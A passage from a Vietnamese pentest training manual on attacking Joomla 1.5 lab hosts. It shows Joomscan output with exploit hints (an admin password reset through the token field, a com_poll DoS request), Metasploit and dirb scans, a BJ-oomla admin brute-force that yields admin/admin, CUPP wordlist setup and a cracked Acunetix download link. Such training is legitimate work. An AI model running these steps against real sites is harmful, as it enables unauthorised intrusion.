URL http://1.2.3.3/modules/mod_wrapper/

o Command trên liệt kê ra tất cả các mod, component, plugin and theme mà đã
install trên host 1.2.3.3, thậm chí các file này có thể đã bị ẩn và không thấy
được khi truy cập.

b. Joomscan:
- Là một dự án OWASP có thể được sử dụng để phat hiện 1 web server (nếu có sử
dụng Joomla hoặc không) và kiểm tra version của Joomla. Nó có thể tìm các lỗ hổng
trong 1 site dựa vào các plugins, extensions, etc. và nó cũng có thể sử dụng để khai
thác. 1 khi tất cả các module được list ra thì chúng ta có thể test các modules với
các lỗ hổng như RFI, LFI, SQL Injection, etc…
- Câu lệnh chính:
o ./joomscan.pl –u http://1.2.3.3/
root@kali:~# joomscan -u http://1.2.3.3
=============================================================
====
OWASP Joomla! Vulnerability Scanner v0.0.4
(c) Aung Khant, aungkhant]at[yehg.net
YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab
Update by: Web-Center, http://web-center.si (2011)
=============================================================
====

Vulnerability Entries: 611


Last update: February 2, 2012

Use "update" option to update the database


Use "check" option to check the scanner update
Use "download" option to download the scanner latest version package
Use svn co to update the scanner and the database
svn co https://joomscan.svn.sourceforge.net/svnroot/joomscan joomscan

Target: http://1.2.3.3

44
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16

## Checking if the target has deployed an Anti-Scanner measure


[!] Scanning Passed ..... OK

## Detecting Joomla! based Firewall ...


[!] No known firewall detected!

## Fingerprinting in progress ...

~Generic version family ....... [1.5.x]

~1.5.x htaccess.txt revealed 1.5.0-stable(21-January-2008)


~1.5.x configuration.php-dist revealed 1.5.0-stable(21-January-2008)
~1.5.x en-GB.xml revealed [1.5.0 - 1.5.1]
~1.5.x en-GB.ini revealed 1.5.0-stable(21-January-2008)
~1.5.x admin en-GB.com_config.ini revealed [1.5.0(stable) -1.5.1]
~1.5.x admin en-GB.ini revealed 1.5.0-stable(21-January-2008)
~1.5.x adminlists.html revealed [1.5.0(stable) - 1.5.6]

* The Exact version found is 1.5.0-stable

## Fingerprinting done.

## 1 Components Found in front page ##


com_mailto

Vulnerabilities Discovered
==========================

#1
Info -> Generic: htaccess.txt has not been renamed.
Versions Affected: Any
Check: /htaccess.txt
Exploit: Generic defenses implemented in .htaccess are not available, so
exploiting is more likely to succeed.
Vulnerable? Yes

#2
Info -> Generic: Unprotected Administrator directory
Versions Affected: Any
Check: /administrator/
Exploit: The default /administrator directory is detected. Attackers can bruteforce
administrator accounts. Read:
http://yehg.net/lab/pr0js/view.php/MULTIPLE%20TRICKY%20WAYS%20TO%20
PROTECT.pdf
Vulnerable? Yes

#3
Info -> Core: Multiple XSS/CSRF Vulnerability

45
Versions Affected: 1.5.9 <=
Check: /?1.5.9-x
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 4.
Exploit: A series of XSS and CSRF faults exist in the administrator application.
Affected administrator components include com_admin, com_media,
com_search. Both com_admin and com_search contain XSS vulnerabilities, and
com_media contains 2 CSRF vulnerabilities.
Vulnerable? Yes

#4
Info -> Core: JSession SSL Session Disclosure Vulnerability
Versions effected: Joomla! 1.5.8 <=
Check: /?1.5.8-x
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 5.
Exploit: When running a site under SSL (the entire site is forced to be under ssl),
Joomla! does not set the SSL flag on the cookie. This can allow someone
monitoring the network to find the cookie related to the session.
Vulnerable? Yes

#5
Info -> Core: Frontend XSS Vulnerability
Versions effected: 1.5.10 <=
Check: /?1.5.10-x
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 6.
Exploit: Some values were output from the database without being properly
escaped. Most strings in question were sourced from the administrator panel.
Malicious normal admin can leverage it to gain access to super admin.
Vulnerable? Yes

#6
Info -> Core: Frontend XSS - HTTP_REFERER not properly filtered Vulnerability
Versions effected: 1.5.11 <=
Check: /?1.5.11-x-http_ref
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 9.
Exploit: An attacker can inject JavaScript or DHTML code that will be executed in
the context of targeted user browser, allowing the attacker to steal cookies.
HTTP_REFERER variable is not properly parsed.
Vulnerable? Yes

#7
Info -> Core: Frontend XSS - PHP_SELF not properly filtered Vulnerability
Versions effected: 1.5.11 <=
Check: /?1.5.11-x-php-s3lf
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 10.
Exploit: An attacker can inject JavaScript code in a URL that will be executed in
the context of targeted user browser.
Vulnerable? Yes

#8
Info -> Core: Authentication Bypass Vulnerability
Versions effected: Joomla! 1.5.3 <=

46
Check: /administrator/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 11.
Exploit: Backend accepts any password for custom Super Administrator when
LDAP enabled
Vulnerable? Yes

#9
Info -> Core: Path Disclosure Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /?1.5.3-path-disclose
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 12.
Exploit: Crafted URL can disclose absolute path
Vulnerable? Yes

# 10
Info -> Core: User redirected Spamming Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /?1.5.3-spam
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 13.
Exploit: User redirect spam
Vulnerable? Yes

# 12
Info -> Core: Admin Backend Cross Site Request Forgery Vulnerability
Versions effected: 1.0.13 <=
Check: /administrator/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 15.
Exploit: It requires an administrator to be logged in and to be tricked into a
specially crafted webpage.
Vulnerable? Yes

# 13
Info -> CorePlugin: Xstandard Editor X_CMS_LIBRARY_PATH Local Directory
Traversal Vulnerability
Versions effected: Joomla! 1.5.8 <=
Check: /plugins/editors/xstandard/attachmentlibrary.php
Exploit: Submit new header X_CMS_LIBRARY_PATH with value ../ to
/plugins/editors/xstandard/attachmentlibrary.php
Vulnerable? Yes

# 14
Info -> CoreLibrary: phpmailer Remote Code Execution Vulnerability
Versions effected: Joomla! 1.5.0 Beta/Stable
Check: /libraries/phpmailer/phpmailer.php
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 21.
Exploit: N/A
Vulnerable? Yes

# 15
Info -> CoreComponent: Joomla Remote Admin Password Change Vulnerability

47
Versions Affected: 1.5.5 <=
Check: /components/com_user/controller.php
Exploit: 1. Go to url :
target.com/index.php?option=com_user&view=reset&layout=confirm 2. Write
into field "token" char ' and Click OK. 3. Write new password for admin 4. Go to
url : target.com/administrator/ 5. Login admin with new password
Vulnerable? Yes

# 21
Info -> CoreComponent: com_content XSS Vulnerability
Version Affected: Joomla! 1.5.7 <=
Check: /components/com_content/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 30.
Exploit: The defaults on com_content article submission allow entry of dangerous
HTML tags (script, etc). This only affects users with access level Author or
higher, and only if you have not set filtering options in com_content configuration.
Vulnerable? Yes

# 22
Info -> CoreComponent: com_weblinks XSS Vulnerability
Version Affected: Joomla! 1.5.7 <=
Check: /components/com_weblinks/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 31.
Exploit: [Requires valid user account] com_weblinks allows raw HTML into the
title and description tags for weblink submissions (from both the administrator
and site submission forms).
Vulnerable? Yes

# 23
Info -> CoreComponent: com_mailto Email Spam Vulnerability
Version Affected: Joomla! 1.5.6 <=
Check: /components/com_mailto/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 32.
Exploit: The mailto component does not verify validity of the URL prior to sending.
Vulnerable? Yes

# 25
Info -> CoreComponent: com_content XSS Vulnerability
Version Affected: Joomla! 1.5.9 <=
Check: /components/com_content/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 34.
Exploit: A XSS vulnerability exists in the category view of com_content.
Vulnerable? Yes

# 26
Info -> CoreComponent: com_installer CSRF Vulnerability
Versions effected: Joomla! 1.5.0 Beta
Check: /administrator/components/com_installer/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 36.

48
Exploit: N/A
Vulnerable? Yes

# 28
Info -> CoreComponent: com_poll (mosmsg) Memory Consumption DOS
Vulnerability
Versions effected: 1.0.7 <=
Check: /components/com_poll/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 38.
Exploit: Send request
/index.php?option=com_poll&task=results&id=14&mosmsg=DOS@HERE<<>AA
A<><>
Vulnerable? Yes

# 30
Info -> CoreComponent: com_mailto timeout Vulnerability
Versions effected: 1.5.13 <=
Check: /components/com_mailto/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 40.
Exploit: [Requires a valid user account] In com_mailto, it was possible to bypass
timeout protection against sending automated emails.
Vulnerable? Yes

There are 21 vulnerable points in 34 found entries!

~[*] Time Taken: 32 sec


~[*] Send bugs, suggestions, contributions to joomscan@yehg.net

o Version hiện tại của target là 1.5.0, chạy apache 2.4.6, PHP 5.4.16
o Các vulnerable Yes là những vulnerable có khả năng bị khai thác, tấn công
bởi hacker.
o Admin page: http://1.2.3.3//administrator/

49
c. Wappalyzer
- Là 1 tiện ích mở rộng có sẳn trên Firefox và Chrome, giúp chúng ta khám phá kĩ
thuật mà website sử dụng. Nó giúp chúng ta dễ dàng phát hiện CSM, Web shop,
Web Server, JS frameworks, các tool phân tích, etc. Như là 1 bộ phát hiện CMS, nó
khá hữu dụng và có tỉ lệ phân tích thành công cao hơn các tool khác.

3. Sử dụng Acunetix, ZAP và các công cụ scan web khác.

a. Acunetix WVS:
i. Khái niệm:

- Acunetix WVS là phần mềm quét lỗ hổng website hiệu quả nhất, nó kiểm tra tất cả
các lỗ hổng website bao gồm cả SQL Injection, Cross Site Scripting và quét nhiều
nhiều lỗ hổng website khác.
- Acunetix WVS có một bộ engine phát hiện lỗ hổng website hàng đầu kèm theo
là Acunetix AcuSensor thực hiện các cuộc tấn công tự động và hiển thị các lỗ hổng
được tìm thấy. Đây là một công nghệ bảo mật duy nhất có thể nhanh chóng tìm thấy
lỗ hổng với số lượng cảnh báo giả rất thấp, cho thấy lỗ hổng trong mã và báo cáo
thông tin gỡ lỗi. Đồng thời xác định các lỗ hổng website như CRLF, Code execution,
Directory Traversal, File inclusion, lỗ hổng trong xác thực và các lỗ hổng khác.
- Có thể download:
http://www.mediafire.com/file/bb1xcrq61sc962l/Acunetix+v8.0_full_CLEAN+100+%2
5+VERSION_free-4-free.blogspot.com.rar

ii. Sử dụng Acunetix Web Vulnerability Scanner:

- Mở AWVS scan website: http://1.2.3.6/jl25/

50
- Chọn File -> New -> Web Site Scan

- Website URL: http:1.2.3.6/jl25 -> Next

51
- Chọn Next

- Chọn Next

52
- Chọn Next

- Chọn Finish

- Chờ đợi quá trình Scan hoàn tất


- Note: trong quá trình Scan có thể mất vài tiếng hoặc cả 1 ngày để hoàn tất.

53
b. ZAP
i. Khái niệm:
- Zed Attack Proxy (ZAP) là công cụ tích hợp của tập hợp nhiều công cụ pentest có
chức năng khác nhau. ZAP cho phép người sử dụng có thể thực hiện nhiều tác vụ
nhằm dò tìm điểm yếu trên ứng dụng web.
- Những tiện ích nổi bật của ZAP
o Intercepting Proxy : Bản chất ZAP là một proxy chặn giữa người dùng và ứng
dụng web
o Automated scanner
o Passive scanner
o Brute Force scanner : Cho phép tìm cây thư mục,tính năng này là sự tích hợp
của công cụ Dir Buster mà mình đã giới thiệu trước đó.
o Spider : Tìm kiếm các url trong website
o Fuzzer : Tích hợp tiện ích JbroFuz.
o Port scanner
o Dynamic SSL certificates : tự tạo một cert root CA,thực hiện MiTM để decrypt
các traffic mã hóa bởi SSL.
o Report: cung cấp output ra report dạng HTML và XML
- Download ZAP: https://github.com/zaproxy/zaproxy/wiki/Downloads
Sau khi cài đặt xong ZAP,việc đầu tiên các bạn cần cấu hình để proxy trên các trình
duyệt về địa chỉ 127.0.0.1 port 8080, việc này có tác dụng điều hướng các traffic đi
qua ZAP.
Giao diện của ZAP

ii. Demo:

- Chỉnh proxy trên trình duyệt về 127.0.0.1 port 8080 để hướng traffic đi qua ZAP, trên
Chrome chọn Cài đặt -> Cài đặt -> Kéo xuống:

54
- Mở cài đặt proxy

- Chọn LAN settings

- Bỏ tích mục Automatically detect settings


- Tích vào Use a proxy server for your LAN (…)
o Address: 127.0.0.1
o Port: 8080
- Nhấn Ok

55
- Giao diện của ZAP
- Vào trình duyệt gõ http://1.2.3.6/jl25 và trở lại ZAP

Dùng trình duyệt view qua website mà bạn định pentest,tính năng Automated
scanner sẽ tự động quét website và đưa ra các thông tin cần thiết ví dụ như các alert

56
- Tiếp đến,để thực hiện các tính năng khác như brute force thư mục,các bạn click
chuột phải vào site,chọn Attack > Spider

- Starting point: nhập IP server -> Start Scan

- ZAP scan và search ra tất cả các thư mục và file tồn tại trên host này
- Tab message:
o Get và Post trả về 200 chứng tỏ thư mục vẫn tồn tại, ví dụ vào trình duyệt gõ:
http://1.2.3.6//administrator như ZAP trả về

o GET trả về 404 tức là file hoặc thư mục không tồn tại

57
- Còn nhiều chức năng khác mà ZAP hỗ trợ như:

c. Các công cụ scan web khác:


i. Wireshark

- Nhiệm vụ chính của Wireshark là phân tích gói tin, nó cho phép bạn có thể giám sát
được toàn bộ lưu lượng mạng bằng cách đưa giao diện vào chế độ promiscuouus.
- Ngoài ra, bạn có thể xem các điểm cuối – endpoints, cửa sổ thống kê phân cấp giao
thức
- Thân thiện với người dùng, cộng đồng whireshark lớn và các hệ điều hành đều có
thể dùng được công cụ đánh giá an ninh mạng Wireshark này.

ii. SQLmap
- công cụ đánh giá, kiểm tra lỗ hổng trong cơ sở dữ liệu SQL – SQLmap. Đây là là
một công cụ miễn phí và là mã nguồn mở được sử dụng chủ yếu để phát hiện và
khai thác các vấn đề SQL injection trong ứng dụng. Đặc biệt giới hacker rất thích
dùng SQLmap

iii. Metasploit Framework

58
- Một trong những công cụ các hacker chuyên dùng để tấn công và kiểm tra độ an
toàn và sự bảo mật của hệ thống chính là Metasploit. Thực chất Metasploit là taapj
hợp rất nhiều chương trình dùng để thực hiện cho việc tấn công, kiểm tra sự bảo
mật giống như 1 Framework, nó được phát triển bởi Rapid7

iv. Burp Suite


- Burp Suite là một nền tảng tích hợp, là một công cụ kiểm tra lỗ hổng bảo mật ứng
dụng website. Nó có nhiều công cụ tích hợp trong đó hai công cụ chính trong phiên
bản miễn phí là Spider and Intruder. Spider được sử dụng để thu thập thông tin các
trang của ứng dụng và Intruder được sử dụng để thực hiện các cuộc tấn công tự
động trên ứng dụng web. Burp có một công cụ bổ sung hiện nay được gọi là Burp
Scanner được dùng trong việc quét các lỗ hổng có trong ứng dụng
v. Nessus
- Nessus là một công cụ được các nhà quản trị hệ thống và hacker yêu thích bởi nó có
cơ sở dữ liệu lớn về các lỗ hổng bảo mật, được cập nhật liên tục. Có thể nói nó
giống như 1 cuốn siêu từ điển vậy, đây là công cụ kiểm tra hệ thống xem có bị dính
lỗ hổng hay không.
vi. Hydra
- Tương tự như công cụ bẻ khóa mật khẩu John the Ripper. Hydra có thể thực hiện
cuộc tấn công từ điển nhanh chóng chống lại hơn 50 giao thức, bao gồm telnet, ftp,
http, https, smb, một số cơ sở dữ liệu, và nhiều hơn nữa.

59
Phần 3: CÁC LOẠI TẤN CÔNG TRÊN JOOMLA VÀ LIFERAY
- Mục tiêu: Giơí thiệu, demo và hướng dẫn sửa lỗi các lỗi và phương thức tấn
công phổ biến, nguy hiểm trên website chạy CSM joomla, Liferay.
- Nội dung:
o Các loại tấn công trên joomla 1.5, 2.5, 3.5
 Joomla version scan
 Joomla Brute Force Attack
 Word list (dictionary)
o Các loại tấn công trên Liferay portal
o SQL Injection
 Dạng tấn công sử dụng câu lệnh SELECT
 Dạng tấn công sử dụng câu lệnh INSERT
 Dạng tấn công sử dụng stored-procedures
 Blind SQL injection
o XSS (Cross-Site Scripting)
 Reflected XSS
 Stored XSS
 DOM-based XSS
o Joomla Security Plugins:
 Centrora Security
 Securitycheck
 RSFirewall
o Htaccess
 .htaccess
 Authentication
 Session manager
 Token control
 Redirect admin
o Sửa lỗi
o Cài đặt công cụ bảo mật Modsecuriy
- Bài tập: Kiểm tra và rà soát lỗi website đơn vị, Thực hành các bài tập của từng
loại tấn công.

60
1. Các loại tấn công trên Joomla
a. Joomla version scan
- Ở phần trước đã có giới thiệu về các tools dùng để scan Joomla gồm các tools
như: CMS Explorer, Joomscan, Wappalyzer, chúng ta sẽ sử dụng Joomscan để
scan 1 trang Joomla bất kì.
- Mở Kali và tiến hành scan target: 1.2.3.3
o Joomscan –u 1.2.3.3
o Kết quả:
Target: http://1.2.3.3
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16

~Generic version family ....... [1.5.x]


~1.5.x htaccess.txt revealed 1.5.0-stable(21-January-2008)
~1.5.x configuration.php-dist revealed 1.5.0-stable(21-January-2008)
~1.5.x en-GB.xml revealed [1.5.0 - 1.5.1]
~1.5.x en-GB.ini revealed 1.5.0-stable(21-January-2008)
~1.5.x admin en-GB.com_config.ini revealed [1.5.0(stable) -1.5.1]
~1.5.x admin en-GB.ini revealed 1.5.0-stable(21-January-2008)
~1.5.x adminlists.html revealed [1.5.0(stable) - 1.5.6]
* The Exact version found is 1.5.0-stable
## Fingerprinting done.
## 1 Components Found in front page ##
com_mailto
o Version joomla của victim: 1.5.0
o Các component:
 Com_mailto
o Có 21 lỗ hổng trong quá trình scan
Vulnerabilities Discovered
==========================

#1
Info -> Generic: htaccess.txt has not been renamed.
Versions Affected: Any
Check: /htaccess.txt
Exploit: Generic defenses implemented in .htaccess are not available,
so exploiting is more likely to succeed.
Vulnerable? Yes

#2
Info -> Generic: Unprotected Administrator directory
Versions Affected: Any
Check: /administrator/
Exploit: The default /administrator directory is detected. Attackers can
bruteforce administrator accounts. Read:
http://yehg.net/lab/pr0js/view.php/MULTIPLE%20TRICKY%20WAYS
%20TO%20PROTECT.pdf
Vulnerable? Yes

61
#3
Info -> Core: Multiple XSS/CSRF Vulnerability
Versions Affected: 1.5.9 <=
Check: /?1.5.9-x
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 4.
Exploit: A series of XSS and CSRF faults exist in the administrator
application. Affected administrator components include com_admin,
com_media, com_search. Both com_admin and com_search contain
XSS vulnerabilities, and com_media contains 2 CSRF vulnerabilities.
Vulnerable? Yes

#4
Info -> Core: JSession SSL Session Disclosure Vulnerability
Versions effected: Joomla! 1.5.8 <=
Check: /?1.5.8-x
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 5.
Exploit: When running a site under SSL (the entire site is forced to be
under ssl), Joomla! does not set the SSL flag on the cookie. This can
allow someone monitoring the network to find the cookie related to the
session.
Vulnerable? Yes

#5
Info -> Core: Frontend XSS Vulnerability
Versions effected: 1.5.10 <=
Check: /?1.5.10-x
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 6.
Exploit: Some values were output from the database without being
properly escaped. Most strings in question were sourced from the
administrator panel. Malicious normal admin can leverage it to gain
access to super admin.
Vulnerable? Yes

#6
Info -> Core: Frontend XSS - HTTP_REFERER not properly filtered
Vulnerability
Versions effected: 1.5.11 <=
Check: /?1.5.11-x-http_ref
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 9.
Exploit: An attacker can inject JavaScript or DHTML code that will be
executed in the context of targeted user browser, allowing the attacker
to steal cookies. HTTP_REFERER variable is not properly parsed.
Vulnerable? Yes

#7
Info -> Core: Frontend XSS - PHP_SELF not properly filtered
Vulnerability

62
Versions effected: 1.5.11 <=
Check: /?1.5.11-x-php-s3lf
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 10.
Exploit: An attacker can inject JavaScript code in a URL that will be
executed in the context of targeted user browser.
Vulnerable? Yes

#8
Info -> Core: Authentication Bypass Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /administrator/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 11.
Exploit: Backend accepts any password for custom Super
Administrator when LDAP enabled
Vulnerable? Yes

#9
Info -> Core: Path Disclosure Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /?1.5.3-path-disclose
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 12.
Exploit: Crafted URL can disclose absolute path
Vulnerable? Yes

# 10
Info -> Core: User redirected Spamming Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /?1.5.3-spam
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 13.
Exploit: User redirect spam
Vulnerable? Yes

# 12
Info -> Core: Admin Backend Cross Site Request Forgery Vulnerability
Versions effected: 1.0.13 <=
Check: /administrator/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 15.
Exploit: It requires an administrator to be logged in and to be tricked
into a specially crafted webpage.
Vulnerable? Yes

# 13
Info -> CorePlugin: Xstandard Editor X_CMS_LIBRARY_PATH Local
Directory Traversal Vulnerability
Versions effected: Joomla! 1.5.8 <=
Check: /plugins/editors/xstandard/attachmentlibrary.php

63
Exploit: Submit new header X_CMS_LIBRARY_PATH with value ../ to
/plugins/editors/xstandard/attachmentlibrary.php
Vulnerable? Yes

# 14
Info -> CoreLibrary: phpmailer Remote Code Execution Vulnerability
Versions effected: Joomla! 1.5.0 Beta/Stable
Check: /libraries/phpmailer/phpmailer.php
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 21.
Exploit: N/A
Vulnerable? Yes

# 15
Info -> CoreComponent: Joomla Remote Admin Password Change
Vulnerability
Versions Affected: 1.5.5 <=
Check: /components/com_user/controller.php
Exploit: 1. Go to url :
target.com/index.php?option=com_user&view=reset&layout=confirm
2. Write into field "token" char ' and Click OK. 3. Write new password
for admin 4. Go to url : target.com/administrator/ 5. Login admin with
new password
Vulnerable? Yes

# 21
Info -> CoreComponent: com_content XSS Vulnerability
Version Affected: Joomla! 1.5.7 <=
Check: /components/com_content/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 30.
Exploit: The defaults on com_content article submission allow entry of
dangerous HTML tags (script, etc). This only affects users with
access level Author or higher, and only if you have not set filtering
options in com_content configuration.
Vulnerable? Yes

# 22
Info -> CoreComponent: com_weblinks XSS Vulnerability
Version Affected: Joomla! 1.5.7 <=
Check: /components/com_weblinks/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 31.
Exploit: [Requires valid user account] com_weblinks allows raw HTML
into the title and description tags for weblink submissions (from both
the administrator and site submission forms).
Vulnerable? Yes

# 23
Info -> CoreComponent: com_mailto Email Spam Vulnerability
Version Affected: Joomla! 1.5.6 <=

64
Check: /components/com_mailto/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 32.
Exploit: The mailto component does not verify validity of the URL prior
to sending.
Vulnerable? Yes

# 25
Info -> CoreComponent: com_content XSS Vulnerability
Version Affected: Joomla! 1.5.9 <=
Check: /components/com_content/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 34.
Exploit: A XSS vulnerability exists in the category view of
com_content.
Vulnerable? Yes

# 26
Info -> CoreComponent: com_installer CSRF Vulnerability
Versions effected: Joomla! 1.5.0 Beta
Check: /administrator/components/com_installer/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 36.
Exploit: N/A
Vulnerable? Yes

# 28
Info -> CoreComponent: com_poll (mosmsg) Memory Consumption
DOS Vulnerability
Versions effected: 1.0.7 <=
Check: /components/com_poll/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 38.
Exploit: Send request
/index.php?option=com_poll&task=results&id=14&mosmsg=DOS@H
ERE<<>AAA<><>
Vulnerable? Yes

# 30
Info -> CoreComponent: com_mailto timeout Vulnerability
Versions effected: 1.5.13 <=
Check: /components/com_mailto/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 40.
Exploit: [Requires a valid user account] In com_mailto, it was possible
to bypass timeout protection against sending automated emails.
Vulnerable? Yes
o Các lỗ hổng chính trong quá trình scan được liệt kê phía trên.

65
- Ngoài ra chúng ta có thể sử dụng công cụ metasploit được tích hợp sẳn trong
kali để scan joomla version.
o Metasploit framework là một framework mã nguồn mở phát triển nhằm
sử dụng các shellcode (payload) để tấn công máy có lỗ hổng.Cùng với
một số bộ công cụ bảo mật khác,Metasploit có cơ sở dữ liệu chứa hàng
ngàn shellcode ,hàng ngàn exploit của các hệ điều hành,các chương trình
hay dịch vụ.Trong quá trình phát triển metasploit liên tục cập nhật các
Exploit...Nên càng ngày nó càng trở thành một bộ công cụ mạnh mẽ.
o Mở metasploit và tiến hành sử dụng payload scan joomla với target:
1.2.3.3
 Msfconsole
 msf > use auxiliary/scanner/http/joomla_version
 msf auxiliary(scanner/http/joomla_version) > set RHOSTS
1.2.3.3/24
 msf auxiliary(scanner/http/joomla_version) > set threads 200
 msf auxiliary(scanner/http/joomla_version) > show options
 Module options (auxiliary/scanner/http/joomla_version):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 Proxies no A proxy chain of format
type:host:port[,type:host:port][...]
 RHOSTS 1.2.3.3/24 yes The target address
range or CIDR identifier
 RPORT 80 yes The target port (TCP)
 SSL false no Negotiate SSL/TLS for
outgoing connections
 TARGETURI / yes The base path to the
Joomla application
 THREADS 200 yes The number of
concurrent threads
 VHOST no HTTP server virtual host

 msf auxiliary(scanner/http/joomla_version) > run


 Kết quả:

 Server: Apache/2.4.6 => linux


 PHP: version 5.4.16
 Joomla version: 1.5.0

66
b. Joomla bruteforce attack

- Sau quá trình scan version của joomla victim ta đã biết được version hiện tại mà
victim đang sử dụng, đồng thời tìm ra các component tồn tại các lỗ hổng, khiến
cho attacker có thể xâm nhập vào cũng như tiến hành các cuộc tấn công, một
trong số đó là kiểu tấn công bruteforce
- Bắt đầu khai thác victim: 1.2.3.3
o Dirb http://1.2.3.3
o Result:
 GENERATED WORDS: 4612

 ---- Scanning URL: http://1.2.3.3/ ----
 ==> DIRECTORY: http://1.2.3.3/administrator/
 ==> DIRECTORY: http://1.2.3.3/cache/
 + http://1.2.3.3/cgi-bin/ (CODE:403|SIZE:210)
 ==> DIRECTORY: http://1.2.3.3/components/
 ==> DIRECTORY: http://1.2.3.3/images/
 ==> DIRECTORY: http://1.2.3.3/includes/
 + http://1.2.3.3/index.php (CODE:200|SIZE:5903)
 ==> DIRECTORY: http://1.2.3.3/language/
 ==> DIRECTORY: http://1.2.3.3/libraries/
 ==> DIRECTORY: http://1.2.3.3/logs/
 ==> DIRECTORY: http://1.2.3.3/media/
 ==> DIRECTORY: http://1.2.3.3/modules/
 ==> DIRECTORY: http://1.2.3.3/phpmyadmin/
 ==> DIRECTORY: http://1.2.3.3/phpMyAdmin/
 ==> DIRECTORY: http://1.2.3.3/plugins/
 + http://1.2.3.3/robots.txt (CODE:200|SIZE:304)
 ==> DIRECTORY: http://1.2.3.3/templates/
 ==> DIRECTORY: http://1.2.3.3/tmp/
 ==> DIRECTORY: http://1.2.3.3/xmlrpc/
o Kiểm tra các trang chính

 Trang administrator:

67
 Trang phpmyadmin

o Tiến hành khai thác account admin bằng công cụ BJ-oomla


 Link download: https://sites.google.com/site/thezonesec/S3K4-
Team_BJ-oomla_v1.00.tar.gz?attredirects=0&d=1
 Tool này dùng để bruteforce admin page ở joomla từ 1.5 trở
xuống
 Giải nén và đưa ra ngoài Desktop, mở terminal và chạy command:
 Python BJ-oomla.py –h
http://1.2.3.3/administrator/index.php -U username.txt -P
password.txt

 Trong đó:
o –h : chỉ ra đường dẫn trang login admin page
o –U : file chứa danh sách các username
o –u : username
o –P : file chứa danh sách các password
o –p : password
o -v verbose
o -s signal - default:"Administration Login"
 Ta được kết quả:
o Username: admin
o Password: admin
 Tiến hành đăng nhập vào admin page

68
 Đăng nhập thành công

c. Wordlist (dictionary)

- Dictionary attack là một kĩ thuật giúp máy tính có thể bẻ khóa được các cơ chế
mã hóa hoặc cơ chế xác thực hoặc mật khẩu (password). Về cơ bản, Dictionary
attack cũng gần giống với kĩ thuật Brute Force tuy nhiên điều khác nhau ở đây là
Dictionary attack dựa trên dictionary (hay còn được gọi là wordlist) chứ ko vét
cạn như Brute Force.
- Wordlist trên thực tế là một tệp gồm rất nhiều các chuỗi kí tự thuộc nhiều loại
giống như mật khẩu hay gặp, từ ngữ phổ biến, tên người,….

- Các tools có thể tạo wordlist:


o CUPP: CUPP là một script được viết bằng Python, nó giúp chúng ta tạo
ra một wordlist dò mật khẩu sát với thông tin cá nhân của victim nhất,
thông tin đầu vào nhạy cảm mà người dùng hay sử dụng để đặt làm mật
khẩu như tên, ngày sinh, nickname, ...
 Install:
 Mkdir CUPP
 Cd CUPP
 Apt-get update && apt-get install git
 git clone https://github.com/Mebus/cupp.git
 Sau khi tải về ta được thư mục cupp/ gồm các file:
o CHANGELOG.md cupp3.py cupp.cfg cupp.py
LICENSE README.md test_cupp.py
 Config file cupp.cfg
 Nano cupp.cfg
 Ở đây có rất nhiều cấu hình, nhưng chúng ta chỉ cần tập trung vào
một chỗ, đó là sau dòng [leet]. Ở phần này ta sẽ bổ sung thêm các
biến thể ký tự, mỗi biến thể là một dòng nhé, ví dụ như:
 A=@
 S=$
 cấu hình này sẽ giúp cho CUPP tạo ra wordlist có tỷ lệ trúng cao
hơn. Và còn một chỗ nữa là sau dòng [specialchars], chỗ này ta
sẽ thêm vào các ký tự đặc biệt có thể xuất hiện trong mật khẩu.

69
 Sau khi chỉnh sửa xong thì lưu lại.
 Cú pháp: ./cupp.py hoặc python cupp.py
 Các option:
 -h: hiển thị nội dung trợ giúp

